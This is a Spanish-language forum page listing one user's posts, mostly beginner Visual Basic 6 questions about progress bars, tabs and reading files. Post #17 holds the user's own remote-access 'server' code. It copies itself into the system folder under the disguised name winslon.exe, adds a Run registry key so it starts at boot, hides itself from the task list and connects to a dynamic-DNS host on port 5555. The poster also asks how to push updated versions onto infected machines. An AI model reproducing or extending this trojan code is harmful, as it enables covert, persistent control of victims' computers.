Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - shadow.darknesses

#11
no entendi mucho tu duda, pero para ejecuta Outlook Expres
es asi
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1

Private Sub Form_Load()
    ShellExecute Me.hwnd, vbNullString, "mailto:shadow_enn_357 @ Hotmail.com", vbNullString, "C:\", SW_SHOWNORMAL
End Sub
#12
sii xD
no se me habia ocurrido
saludos... y gracias
#13
bueno como el asunto lo dice como puedo hacer pestañas con mi programa?
#14
asi asi x ejemplo
Ponemos el progressbar al la mitad.
ProgressBar1.Min = 1
ProgressBar1.Max = 1000
ProgressBar1.Value = 50
entonces ahi seria 5%
eso?
es el porcentaje

#15
sii ahi salio!!!
oee sabes como meter un la data de un archivo en un variable xfaa
y otra cosa, cierto que cuando uno envia un archivo x msn, que sale
un statusbar?, que sale, yo quiero hacer eso, quiero que salga el  % que se valla llenando la noce que es xD cosita y para ver el tamaño del file ya lo se
#16
Con lof y comandodialog, pero no caxoo, alguien que me puede ayudar x ahi
;D
#17
olaa, miren este code es de m server
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub

ya yo lo abro, todo bien se ejecuta al inicio del pc, pero ya quiero abrir una nueva version de mi sever mas avanzada, NO reemplaza el archivo en system 32, alguien sabe como podria hacerlo para reemplazarlo
gracias
Saludos...
#18
¬¬, que diablos voia a saber que contendo trae un manual tendria que llereme miles
#19
muchas gracias
si ashi salio
Saludos...
#20
ahh, tonces no uso count, mmm entonces que uso?
TotalIndex = TotalIndex + 1 eso es para agregar otra conexion